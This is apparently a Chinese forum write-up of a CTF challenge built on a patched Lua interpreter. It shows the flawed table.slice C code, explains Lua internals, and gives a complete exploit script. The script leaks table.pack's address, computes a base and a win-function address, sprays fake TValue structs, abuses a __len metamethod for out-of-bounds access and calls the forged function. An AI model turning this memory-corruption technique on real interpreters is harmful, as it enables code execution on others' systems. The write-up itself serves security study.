本文为看雪论坛优秀文章
看雪论坛作者ID:hikonaka
一
背景
二
题目分析
Pull Request: Add slice method for Lua table,Commit: cfbe378f906061ee56f91acfbdf569d0d3fb9556
git clone [email protected]:lua/lua.git
git checkout cfbe378f906061ee56f91acfbdf569d0d3fb9556
git apply ../patch.diff
static int tslice (lua_State *L) {
int i, stackpos;
const TValue *src, *dst;
lua_Integer len, start, end, newlen;
/* Get table size */
len = aux_getn(L, 1, TAB_RW); // first argument is the length of table
luaL_argcheck(L, len < INT_MAX, 1, "array too big");
/* Get start and end position */
start = luaL_checkinteger(L, 2); // second argument is the start position
end = luaL_optinteger(L, 3, len); // get third argument(if has) is the end position
if (lua_isnoneornil(L, 3))
end = len + 1;
else
end = luaL_checkinteger(L, 3);
/* Check start and end position */
if (start <= 0) start = 1;
else if (start > len) start = len;
if (end <= 0) end = 1;
else if (end > len + 1) end = len + 1;
luaL_argcheck(L, start <= end, 2,
"invalid slice range");
newlen = end - start;
stackpos = lua_gettop(L) + 1;
/* Create a new array */
lua_createtable(L, newlen, 0);
if (len > 0 && newlen > 0) {
src = &(L->ci->func + 1)->val;
dst = &(L->ci->func + stackpos)->val;
for (i = end - 1; i >= start; i--) {
hvalue(dst)->array[i - start] = hvalue(src)->array[i - 1];
TValue* tv = &((Table*)src->value_.p)->array[i-1];
printf("src: 0x%x 0x%x\n", tv->value_, tv->tt_);
}
}
return 1;
}
#define aux_getn(L,n,w) (checktab(L, n, (w) | TAB_L), luaL_len(L, n))
其实做题时候我们也想到过是不是 api 使用出现了问题,但是检查了其他 table 的函数,发现在 api 的使用上似乎没有太大的区别 hhh,所以我认为,这个漏洞的 root cause 是 slice 这个功能,在 lua 里不应该被这么简单的实现。
x = {1, 2, 3, 4, 5}
print(#x)
metatable = {__len = function() return 100 end}
setmetatable(x, metatable)
print(#x)
❯ ./lua test.lua
5
100
三
漏洞利用
❯ ./lua
Lua 5.4.5 Copyright (C) 1994-2022 Lua.org, PUC-Rio
> print(table.pack)
function: 0x55ebbe5b3220
struct lua_State {
CommonHeader; // 为 Lua 中所有可回收的对象添加的头
lu_byte status;
lu_byte allowhook;
unsigned short nci; /* number of items in 'ci' list */
StkId top; // 当前栈顶,会动态变化
global_State *l_G;
CallInfo *ci; // 当前的 CallInfo 指针
StkId stack_last; /* end of stack (last element + 1) */
StkId stack; /* stack base */
UpVal *openupval; /* list of open upvalues in this stack */
StkId tbclist; /* list of to-be-closed variables */
GCObject *gclist;
// ...
};
(1)lua_State → ci 指向当前函数的 CallInfo
(2)lua_State → stack 和 lua_State → stack_last 划定了 lua 虚拟机栈的可用范围
(3)lua_State → top 指向当前栈顶
(4)lua_State → ci → func 指向当前函数在栈上的地址
(5)lua_State → ci → top 和 lua_State → ci → func 共同划定了当前函数可用的栈空间
typedef struct Table {
CommonHeader;
lu_byte flags; /* 1<<p means tagmethod(p) is not present */
lu_byte lsizenode; /* log2 of size of 'node' array */
unsigned int alimit; /* "limit" of 'array' array */
TValue *array; /* array part */
Node *node;
Node *lastfree; /* any free position is before this position */
struct Table *metatable;
GCObject *gclist;
} Table;
#define TValuefields Value value_; lu_byte tt_
typedef struct TValue {
TValuefields;
} TValue;
typedef union Value {
struct GCObject *gc; /* collectable objects */
void *p; /* light userdata */
lua_CFunction f; /* light C functions */
lua_Integer i; /* integer numbers */
lua_Number n; /* float numbers */
/* not used, but may avoid warnings for uninitialized value */
lu_byte ub;
} Value;
-- collectgarbage("stop") 垃圾回收器对堆布局会产生影响
-- print(table.pack) will print the function address of table.pack
print(table.pack)
pack_address_hex = string.sub(tostring(table.pack), 13)
print('0x' .. pack_address_hex)
pack_address = tonumber(pack_address_hex, 16)
print(pack_address)
-- print(string.format('%x', pack_address))
-- from ida, we can get that the offset of function 'tpack' is 0x27220
binary_base = pack_address - 0x0000000000027220
win_addr = binary_base + 0x0000000000007a40
print("Found win: " .. string.format('0x%x', win_addr))
function int_to_array(v)
ret = {}
for i = 0, 7 do
table.insert(ret, v & 0xff) -- get last one byte
v = v >> 8
end
return ret
end
function to_little_endian(a)
local bytearr = {}
for _, v in ipairs(a) do
local utf8_byte = v
table.insert(bytearr, string.char(utf8_byte))
end
return table.concat(bytearr)
end
pld = int_to_array(win_addr)
pld = to_little_endian(pld) -- 将 win 函数的地址转换为小端序,类似 pwntools 中的 p64()
pld = pld .. '\x16\x16\x16\x16\x16\x16\x16\x16' -- lua, LuaC_function: _tt / 0x16
pld = string.rep(pld, 100) -- 伪造大量结构体,方便寻找
print(string.len(pld))
-- make a table with fake metatable
x = {
"w", "c", pld, "y", "x"
}
metatable = {}
function metatable.__len(a)
return 3000
end
setmetatable(x, metatable)
s = table.slice(x, 720, 730) -- 计算出的伪造 TValue 偏移
s[1]() -- 调用 win 函数
看雪ID:hikonaka
https://bbs.pediy.com/user-home-905245.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!